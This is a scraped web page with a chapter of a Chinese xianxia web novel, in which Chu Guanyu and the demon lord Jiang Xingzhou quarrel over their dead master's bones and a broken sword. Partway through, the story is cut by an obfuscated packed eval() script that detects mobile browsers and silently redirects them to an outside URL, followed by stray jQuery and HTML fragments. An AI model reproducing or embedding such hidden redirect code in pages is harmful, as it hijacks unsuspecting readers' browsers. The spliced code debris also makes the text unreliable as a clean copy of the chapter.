默认冷灰
24号文字
方正启体

7. 故剑

作者:过期月亮本书字数:K更新时间:
    苍梧剑砍向月照,却被乍然出现的命线弹开。沉闷的铿鸣声后,楚观玉眼前天悬倒转,整个人被翻涌的灵力掀开,伴随着身下一声声桃枝被撞断的脆响。


    她迅速望向月照,眼眶因为刚刚的冲击不断充血。灼热的刺痛里,鲜活的红线牢牢地捆缚住月照,不断收紧……瞬间炸开的血雾,掉落的肝脏,四溅的浆液……秽物尚未落地,崖月流下的黄白亮光已然铺满了整个天空。


    所有人都听到什么东西碎裂的声音。江行舟收回盯住楚观玉腕带的目光,暗骂了句,手在袖中掐诀,下一瞬,桃树枝叶疯狂生长,死死地盖住三个人。


    姜轻云下意识看向楚观玉,只见她思索着开口,话里带了些疑惑:“这就是师傅留下的东西?”


    师傅……苍梧君和魔尊的师傅……简不疑?


    姜轻云忽然瞪大了眼。


    她想起来了。


    ——“简不疑那个贱人,”农师一边恨恨地骂,一边用尖锐的、冰冷的刀子划开她的皮肉,将种子塞进她的丹田,“说什么口含天宪,位居二十八宿位之首,笑死人了,怎么不说说三百年前死在自己徒弟手里,害死了那么多人结果连尸体都没带给我一个。”


    姜轻云豁然睁开眼,幸好,种子还藏在她身上。她左右看了看,四周不知何时变得开阔了。月照、村民们都不见踪影。


    江行舟懒懒地打了个哈欠,目光轻巧地转向楚观玉。


    幻境结束了,姜轻云愣愣地想。


    唯一不变的只有那棵参天的老桃树,牢固地矗立在尸胡山山顶。


    楚观玉的神识似游鱼般试探着张开。不知道是不是死过一次的原因,神识只是稍稍一动,脑袋便针扎似的疼。


    她沉沉吐出一口气,将神识迅速铺展,略略扫过尸胡山的每一寸土地。江行舟看着她,并未阻拦。


    没有。到处都找不到简不疑的尸体。她收回了神识。


    老桃树下一片沉寂的阴翳,月影疏疏落落地斑驳着。


    姜轻云被光晃的低下头,这才看到满地的血和肉糜。强烈的恶心感顺着喉咙攀爬上来,她忍住反呕的冲动,尽量迟缓地问道:“苍梧君,您,您是怎么把他在瞬间剁成这么多块的?”


    太恶心了,她觉得自己整个脑子现在还是乱糟糟的。


    从认识月照到出幻境不过短短一个时辰不到,怎么就发生了什么多事呢?


    一旁的楚观玉正用袖袍擦拭剑身,听到这话顿了顿。


    姜轻云看不到红线。那江行舟呢?


    用了这么些日子,剑的断口处似乎更为凄惨了些。她摇了摇头,道:“这并不是我喜欢的手法。”


    姜轻云:“……好,好的。”


    江行舟笑了笑,悠悠开口,“苍梧君难得来魔界,我也该好好招待一番,以尽地主之谊。”


    姜轻云想着楚观玉一路的照顾,硬着头皮勉强抬声:“哈哈,能一道遇难也是缘分……不着急的吧?”


    师门反目成仇,如今哪能让重伤的苍梧君落到魔尊手里?


    江行舟宽容道:“姜道友,对吧?你偷渡而来,镜司中已有你的海捕公文。但魔界与云镜台想来不合,并不想在此处为难姜道友。


    “苍梧君于魔界是贵客,魔界必以上上之礼相待,若是姜道友有意,魔界也不介意多添一双碗筷。”


    是不介意多用一个牢房,多一套折磨人的刑具吧。姜轻云闭了嘴,眼睛却依旧望向楚观玉的方向。


    仙首啊,我真的很想帮你,只是人微言轻……


    她脑海里纠结着,想赶紧走却抬不动脚,执着地站在楚观玉身侧,就见楚观玉放下剑,认真地对自己说道:“你是第一次来魔界吧。此地与仙门多有风俗相异之处,山水人家极盛,非书上笔墨能尽。”


    姜轻云愣住。


    “所以不必跟我一道去越宫,此间聚散仓促亦是常事。”


    她难得笑了笑,伸出手像孩子般勾起她的小指,如同许诺,“姜道友,珍重。如果遇到了什么麻烦,可以来找我。”


    崖月泻下薄凉的清辉,仿佛浮动的碎银沉在她的眼底。


    姜轻云泪眼汪汪地离开了。


    江行舟看了一会儿,问:“你就这么让她走了?毕竟是农道的弟子,她身体里的种子比她老师还麻烦些。”


    ……种子?


    他懒懒地打了个哈欠,“走吧,我的贵客。”


    “师傅的遗骨还在山上。”楚观玉道,“我要带他走。”


    江行舟眯了眯眼,片刻扯了扯嘴角,话里充斥着满满的恶意:“可以,交钱。简不疑的尸骨,苍梧君想出多少钱买下来?”


    楚观玉沉吟少许,朝他晃了晃自己宽大的袖袍。


    自她登临仙首之位后,就鲜少有要她亲自动用灵玉的时候了,如今兜里就剩七个丁零当啷响的铜板,还不知道是从什么地方遗留下来的。


    更何况,她并不觉得简不疑的尸骨值得自己出钱。


    “那就没办法了。”江行舟故作遗憾,深深地叹了口气,“看来你们是注定没有这个缘分了。没办法,师徒缘浅嘛,我们早就知道的。”


    楚观玉半抬着眼,忽然道:“你的剑也在山上,若能寻回故剑,也是件好事。”


    闻言,江行舟的目光轻轻落在她的脸上,嘴角笑意依旧,目光里却只沉下森寒的戾气。


    面前人没有注意这些,语气平淡像被添了许多水的冷茶:“师弟,你应当也有耳闻,云镜台出事了。我来尸胡山,也是为了这件事。”


    如今月照语焉不详地说了句“我在月亮上等你”,飞升的线索断了一半,另一半……她押在了简不疑的尸骨上。


    她不知道失忆前的自己究竟得到了什么消息,为何会认为飞升之道藏在尸胡山,只是月照说“一别三百年”,那金丹里写着的“第一次飞升计划”至少也是三百年前的旧事了。


    照纸上所言,就连杀江行舟,也是求飞升的一次尝试。但她记得清楚,自己和江行舟的纠葛全然与飞升无关。


    重伤至此,记忆也错漏百出,确实麻烦。


    这是她修道路上跌得最惨的一次。但既然失败的代价如此之深重,那她三日前或许已无限接近于飞升的高度,以致一朝跌落,损失惨重。


    像是想起什么似的,她偏过头,忽然问道:“说起来,为什么你如今不用剑了?”


    见她话里的真挚不似作伪,江行舟脸上的笑意逐渐退去,积攒的怒意烧得他神情越发阴冷,紧紧攥起的手上青筋绷起。


    她永远是这样。


    仿佛什么也没发生过,仿佛这些过往都无关紧要。


    决裂尸胡山后,寥寥几次见面都是这般。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165409|196688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “楚观玉。”他缓缓念着她的名字,语调里的恶意被包裹成甜腻的饴糖,“三百年前尸胡山断我剑骨,又杀我于云镜台。如今一把在土里埋了三百年的剑,我要它做什么?”


    凉津津的月色下,他脸色更加苍白。


    崖月慢慢攀上山顶,三百年蔓生的野草长到了他们腰的位置。四周一片昏黑,暗淡的光线却让他看得更分明了些。


    楚观玉的斗篷上还落着雪水,干涸的血迹在衣上洇湿出斑斑点点的深色。


    她面上没有多余的神情,听到他毫无保留的恶意时,那双与初见时一般澄明的眼似被冰泉濯洗过的黑石子,只是淡淡地,从容地望着他。


    他忽然半个字也说不出口了,翻旧事只会徒增狼狈,所有的失态都变得可笑,憎恨她的无动于衷,更憎恨自己的憎恨。


    楚观玉顿了顿,眼中浮现几分疑惑,她为什么要断江行舟的剑骨?


    三百年前尸胡山,江行舟一意孤行,坏云镜台大计,弑亲师,戮同门,罪无可恕。


    云镜台死刑决议全票通过,作为仙首的苍梧君自然公允,毫无偏私,一切以云镜台秩序为先。


    她按规则办事,只会想要江行舟的命,为什么要断他的剑骨?


    剑修入道数百年才能修成剑骨,她断他剑骨,等同于将他数百年练剑所得当灰撒了。


    还没想出结果,她便按照处理事务的习惯道:“没事,菩提珠也挺好的。你不用剑的话,我择日联系明光山的人,让他们把它带回剑冢。”


    按理说,把剑带出剑冢的那一刻,剑就只属于拔剑人了,拿来炼了丢了宗门也不会管。但江行舟的剑还不错,若他不需要,放回剑冢也是个好方案。


    心里将熄的火又被呼啦啦的风刮大了,江行舟反倒笑了起来,眼角血痣红艳艳的,轻声道:“随你,仙首阁下。”


    “主上,主上,有苍梧君的消息了!”一只羽毛乌黑亮丽,唯额前一撮蓝毛的燕子从天际破空而至,翼尖或剪尾偶尔掠过拦路的云,一路畅行。


    他优雅地落在了江行舟的肩上,翅膀一抖,从身后的毛羽里掏出一条细细的纸卷,摊平,清了清嗓子,朗声念了出来,“她可能在一个时辰前就已经到魔界了。”


    “据可靠消息说,苍梧剑断了……啊,好可惜,那可是苍梧剑。”


    楚观玉低头看了看自己腰间的剑,心中郁色更沉。


    “苍梧君身上穿了件黑色斗篷,从头盖到脚的那种……咦?”燕还顿住,从纸条下端看到对面的黑袍,眨了眨黑豆似的眼睛,探出头对着楚观玉仔细端详一二,拿空闲着的翅膀指了指她。


    “主上,巧了,就跟这位身上的一样。不过我要是苍梧君,肯定到了魔界就直接把衣服给换了,免得别人认出来——那不蠢吗?谁会大剌剌地穿一样的衣服到处晃?”


    楚观玉:“……抱歉,下次改进。”


    燕还又仔细思索片刻:“不过也不一定,毕竟我们就是认出了苍梧君,也不一定能抓住她,她应该不会在意这种细节。”


    “愚蠢。”江行舟说。


    狭长的鸟嘴里“啊”了一声,终于意识到哪里不对起来,唰地转过头盯着对面的人。


    楚观玉抬手:“好久不见,燕护法。”


    燕还惊叫出声:“啊——苍梧君!主上!主上!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)